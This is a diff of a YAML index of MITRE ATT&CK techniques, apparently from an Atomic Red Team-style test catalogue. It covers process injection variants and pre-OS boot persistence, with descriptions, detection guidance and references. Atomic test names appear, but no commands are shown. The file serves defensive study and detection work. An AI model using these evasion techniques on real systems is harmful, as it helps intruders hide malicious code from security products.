-      created: '2020-01-14T01:27:31.344Z'
-      modified: '2020-11-10T18:29:30.882Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Portable Executable Injection
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:21:11.178Z'
+      created: '2020-01-14T01:27:31.344Z'
       id: attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may inject portable executables (PE) into processes
         in order to evade process-based defenses as well as possibly elevate privileges.
         PE injection is a method of executing arbitrary code in the address space
@@ -35037,23 +35971,11 @@ defense-evasion:
         may allow access to the process's memory, system/network resources, and possibly
         elevated privileges. Execution via PE injection may also evade detection from
         security products since the execution is masked under a legitimate process. "
-      name: Portable Executable Injection
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.002
-        url: https://attack.mitre.org/techniques/T1055/002
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -35065,50 +35987,23 @@ defense-evasion:
         process behavior to determine if a process is performing actions it usually
         does not, such as opening network connections, reading files, or other suspicious
         actions that could relate to post-compromise behavior. "
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/002
+        external_id: T1055.002
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
     atomic_tests: []
   T1542:
     technique:
-      id: attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e
-      description: |-
-        Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)
-
-        Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.
-      name: Pre-OS Boot
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542
-        url: https://attack.mitre.org/techniques/T1542
-      - source_name: Wikipedia Booting
-        url: https://en.wikipedia.org/wiki/Booting
-        description: Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.
-      - url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
-        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
-          health and make sure it's not already dying on you. Retrieved October 2,
-          2018.
-        source_name: ITWorld Hard Disk Health Dec 2014
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-10-22T16:35:54.740Z'
-      created: '2019-11-13T14:44:49.439Z'
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - Network
+      name: Pre-OS Boot
       x_mitre_data_sources:
       - 'Command: Command Execution'
       - 'Network Traffic: Network Connection Creation'
@@ -35116,42 +36011,67 @@ defense-evasion:
       - 'Driver: Driver Metadata'
       - 'Process: OS API Execution'
       - 'Drive: Drive Modification'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
+      x_mitre_version: '1.1'
+      modified: '2020-10-22T16:35:54.740Z'
+      created: '2019-11-13T14:44:49.439Z'
+      id: attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e
       x_mitre_defense_bypassed:
       - Anti-virus
       - Host intrusion prevention systems
       - File monitoring
-      x_mitre_version: '1.1'
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - Network
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      description: |-
+        Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)
+
+        Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
       x_mitre_detection: |-
         Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.
 
         Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014)
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542
+        external_id: T1542
+        source_name: mitre-attack
+      - url: https://en.wikipedia.org/wiki/Booting
+        description: Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.
+        source_name: Wikipedia Booting
+      - source_name: ITWorld Hard Disk Health Dec 2014
+        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
+          health and make sure it's not already dying on you. Retrieved October 2,
+          2018.
+        url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
     atomic_tests: []
   T1055.009:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.009
-        url: https://attack.mitre.org/techniques/T1055/009
-      - url: http://hick.org/code/skape/papers/needle.txt
-        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
-          Retrieved December 20, 2017.
-        source_name: Uninformed Needle
-      - source_name: GDS Linux Injection
-        url: https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html
-        description: McNamara, R. (2017, September 5). Linux Based Inter-Process Code
-          Injection Without Ptrace(2). Retrieved February 21, 2020.
-      - source_name: DD Man
-        url: http://man7.org/linux/man-pages/man1/dd.1.html
-        description: Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved
-          February 21, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Proc Memory
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-06-20T22:25:55.331Z'
+      created: '2020-01-14T01:34:10.588Z'
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591
       description: "Adversaries may inject malicious code into processes via the /proc
         filesystem in order to evade process-based defenses as well as possibly elevate
         privileges. Proc memory injection is a method of executing arbitrary code
@@ -35175,64 +36095,57 @@ defense-evasion:
         resources, and possibly elevated privileges. Execution via proc memory injection
         may also evade detection from security products since the execution is masked
         under a legitimate process. "
-      id: attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-06-20T22:25:55.331Z'
-      created: '2020-01-14T01:34:10.588Z'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
-      x_mitre_data_sources:
-      - 'File: File Modification'
       x_mitre_detection: "File system monitoring can determine if /proc files are
         being modified. Users should not have permission to modify these in most cases.
         \n\nAnalyze process behavior to determine if a process is performing actions
         it usually does not, such as opening network connections, reading files, or
         other suspicious actions that could relate to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/009
+        external_id: T1055.009
+        source_name: mitre-attack
+      - source_name: Uninformed Needle
+        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
+          Retrieved December 20, 2017.
+        url: http://hick.org/code/skape/papers/needle.txt
+      - url: https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html
+        description: McNamara, R. (2017, September 5). Linux Based Inter-Process Code
+          Injection Without Ptrace(2). Retrieved February 21, 2020.
+        source_name: GDS Linux Injection
+      - url: http://man7.org/linux/man-pages/man1/dd.1.html
+        description: Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved
+          February 21, 2020.
+        source_name: DD Man
     atomic_tests: []
   T1055.013:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.013
-        url: https://attack.mitre.org/techniques/T1055/013
-      - url: https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
-        description: Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December
-          20, 2017.
-        source_name: Microsoft TxF
-      - url: https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
-        description: Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20,
-          2017.
-        source_name: Microsoft Basic TxF Concepts
-      - url: https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
-        description: Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved
-          December 20, 2017.
-        source_name: Microsoft Where to use TxF
-      - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
-        description: 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction:
-          Process Doppelgänging. Retrieved December 20, 2017.'
-        source_name: BlackHat Process Doppelgänging Dec 2017
-      - url: https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
-        description: hasherezade. (2017, December 18). Process Doppelgänging – a new
-          way to impersonate a process. Retrieved December 20, 2017.
-        source_name: hasherezade Process Doppelgänging Dec 2017
-      - url: https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
-        description: Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved
-          December 20, 2017.
-        source_name: Microsoft PsSetCreateProcessNotifyRoutine routine
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Process Doppelgänging
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'File: File Metadata'
+      x_mitre_version: '1.0'
+      modified: '2021-02-09T15:43:48.848Z'
+      created: '2020-01-14T17:19:50.978Z'
+      id: attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
       description: "Adversaries may inject malicious code into process via process
         doppelgänging in order to evade process-based defenses as well as possibly
         elevate privileges. Process doppelgänging is a method of executing arbitrary
@@ -35266,55 +36179,69 @@ defense-evasion:
         spawned from (and thus inherits the security context) of the injecting process.
         However, execution via process doppelgänging may evade detection from security
         products since the execution is masked under a legitimate process. "
-      id: attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-02-09T15:43:48.848Z'
-      created: '2020-01-14T17:19:50.978Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'File: File Metadata'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
       x_mitre_detection: |-
         Monitor and analyze calls to <code>CreateTransaction</code>, <code>CreateFileTransacted</code>, <code>RollbackTransaction</code>, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to <code>NtCreateProcessEx</code> and <code>NtCreateThreadEx</code> as well as API calls used to modify memory within another process, such as <code>WriteProcessMemory</code>. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)
 
         Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)
 
         Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/013
+        external_id: T1055.013
+        source_name: mitre-attack
+      - source_name: Microsoft TxF
+        description: Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December
+          20, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
+      - source_name: Microsoft Basic TxF Concepts
+        description: Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20,
+          2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
+      - source_name: Microsoft Where to use TxF
+        description: Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved
+          December 20, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
+      - source_name: BlackHat Process Doppelgänging Dec 2017
+        description: 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction:
+          Process Doppelgänging. Retrieved December 20, 2017.'
+        url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
+      - source_name: hasherezade Process Doppelgänging Dec 2017
+        description: hasherezade. (2017, December 18). Process Doppelgänging – a new
+          way to impersonate a process. Retrieved December 20, 2017.
+        url: https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
+      - source_name: Microsoft PsSetCreateProcessNotifyRoutine routine
+        description: Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved
+          December 20, 2017.
+        url: https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
     atomic_tests: []
   T1055.012:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.012
-        url: https://attack.mitre.org/techniques/T1055/012
-      - url: http://www.autosectools.com/process-hollowing.pdf
-        description: Leitch, J. (n.d.). Process Hollowing. Retrieved November 12,
-          2014.
-        source_name: Leitch Hollowing
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Process Hollowing
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:30:14.640Z'
+      created: '2020-01-14T17:21:54.470Z'
+      id: attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may inject malicious code into suspended and hollowed
         processes in order to evade process-based defenses. Process hollowing is a
         method of executing arbitrary code in the address space of a separate live
@@ -35334,23 +36261,11 @@ defense-evasion:
         (and thus inherits the security context) of the injecting process. However,
         execution via process hollowing may also evade detection from security products
         since the execution is masked under a legitimate process. "
-      id: attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-11-10T18:29:31.031Z'
-      created: '2020-01-14T17:21:54.470Z'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -35363,10 +36278,20 @@ defense-evasion:
         process behavior to determine if a process is performing actions it usually
         does not, such as opening network connections, reading files, or other suspicious
         actions that could relate to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/012
+        external_id: T1055.012
+        source_name: mitre-attack
+      - source_name: Leitch Hollowing
+        description: Leitch, J. (n.d.). Process Hollowing. Retrieved November 12,
+          2014.
+        url: http://www.autosectools.com/process-hollowing.pdf
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
       identifier: T1055.012
     atomic_tests:
     - name: Process Hollowing using PowerShell
@@ -35440,48 +36365,34 @@ defense-evasion:
         name: powershell
   T1055:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Process Injection
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Module: Module Load'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      - 'File: File Modification'
+      - 'File: File Metadata'
+      x_mitre_version: '1.2'
+      modified: '2021-10-18T12:30:14.852Z'
       created: '2017-05-31T21:30:47.843Z'
-      modified: '2021-02-09T15:43:50.029Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055
-        url: https://attack.mitre.org/techniques/T1055
-      - external_id: CAPEC-640
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/640.html
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
-          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
-          December 20, 2017.'
-        source_name: ArtOfMemoryForensics
-      - url: https://www.gnu.org/software/acct/
-        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
-          December 20, 2017.
-        source_name: GNU Acct
-      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
-        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
-          Chapter 7 - System Auditing. Retrieved December 20, 2017.
-        source_name: RHEL auditd
-      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
-        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
-          Retrieved December 20, 2017.
-        source_name: Chokepoint preload rootkits
-      - url: https://docs.microsoft.com/sysinternals/downloads/sysmon
-        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
-          December 13, 2017.
-        source_name: Microsoft Sysmon v6 May 2017
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d
       description: "Adversaries may inject code into processes in order to evade process-based
         defenses as well as possibly elevate privileges. Process injection is a method
         of executing arbitrary code in the address space of a separate live process.
@@ -35494,24 +36405,10 @@ defense-evasion:
         specific. \n\nMore sophisticated samples may perform multiple process injections
         to segment modules and further evade detection, utilizing named pipes or other
         inter-process communication (IPC) mechanisms as a communication channel. "
-      name: Process Injection
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
       x_mitre_contributors:
       - Anastasios Pingios
       - Christiaan Beek, @ChristiaanBeek
       - Ryan Becwar
-      x_mitre_data_sources:
-      - 'Module: Module Load'
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      - 'File: File Modification'
-      - 'File: File Metadata'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -35534,10 +36431,39 @@ defense-evasion:
         to determine if a process is performing actions it usually does not, such
         as opening network connections, reading files, or other suspicious actions
         that could relate to post-compromise behavior. "
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055
+        external_id: T1055
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/640.html
+        external_id: CAPEC-640
+        source_name: capec
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
+          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
+          December 20, 2017.'
+        source_name: ArtOfMemoryForensics
+      - source_name: GNU Acct
+        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
+          December 20, 2017.
+        url: https://www.gnu.org/software/acct/
+      - source_name: RHEL auditd
+        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
+          Chapter 7 - System Auditing. Retrieved December 20, 2017.
+        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
+      - source_name: Chokepoint preload rootkits
+        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
+          Retrieved December 20, 2017.
+        url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
+      - source_name: Microsoft Sysmon v6 May 2017
+        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
+          December 13, 2017.
+        url: https://docs.microsoft.com/sysinternals/downloads/sysmon
       identifier: T1055
     atomic_tests:
     - name: Shellcode execution via VBA
@@ -35634,42 +36560,24 @@ defense-evasion:
         elevation_required: false
   T1055.008:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.008
-        url: https://attack.mitre.org/techniques/T1055/008
-      - source_name: PTRACE man
-        url: http://man7.org/linux/man-pages/man2/ptrace.2.html
-        description: Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's
-          Manual. Retrieved February 21, 2020.
-      - source_name: Medium Ptrace JUL 2018
-        url: https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be
-        description: Jain, S. (2018, July 25). Code injection in running process using
-          ptrace. Retrieved February 21, 2020.
-      - source_name: BH Linux Inject
-        url: https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
-        description: Colgan, T. (2015, August 15). Linux-Inject. Retrieved February
-          21, 2020.
-      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
-          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
-          December 20, 2017.'
-        source_name: ArtOfMemoryForensics
-      - url: https://www.gnu.org/software/acct/
-        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
-          December 20, 2017.
-        source_name: GNU Acct
-      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
-        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
-          Chapter 7 - System Auditing. Retrieved December 20, 2017.
-        source_name: RHEL auditd
-      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
-        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
-          Retrieved December 20, 2017.
-        source_name: Chokepoint preload rootkits
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Ptrace System Calls
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:26:31.766Z'
+      created: '2020-01-14T01:33:19.065Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f
       description: "Adversaries may inject malicious code into processes via ptrace
         (process trace) system calls in order to evade process-based defenses as well
         as possibly elevate privileges. Ptrace system call injection is a method of
@@ -35685,27 +36593,16 @@ defense-evasion:
         which copy data to a specific address in the target processes’ memory (ex:
         the current address of the next instruction). (Citation: PTRACE man)(Citation:
         Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible
-        targeting processes with high-privileges, and on some system those that are
-        non-child processes.(Citation: BH Linux Inject) \n\nRunning code in the context
-        of another process may allow access to the process's memory, system/network
-        resources, and possibly elevated privileges. Execution via ptrace system call
-        injection may also evade detection from security products since the execution
-        is masked under a legitimate process. "
-      id: attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f
-      type: attack-pattern
+        targeting processes that are non-child processes and/or have higher-privileges.(Citation:
+        BH Linux Inject) \n\nRunning code in the context of another process may allow
+        access to the process's memory, system/network resources, and possibly elevated
+        privileges. Execution via ptrace system call injection may also evade detection
+        from security products since the execution is masked under a legitimate process. "
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-06-20T22:24:56.734Z'
-      created: '2020-01-14T01:33:19.065Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
       x_mitre_detection: "Monitoring for Linux specific calls such as the ptrace system
         call should not generate large amounts of data due to their specialized nature,
         and can be a very effective method to detect some of the common process injection
@@ -35714,49 +36611,89 @@ defense-evasion:
         behavior to determine if a process is performing actions it usually does not,
         such as opening network connections, reading files, or other suspicious actions
         that could relate to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
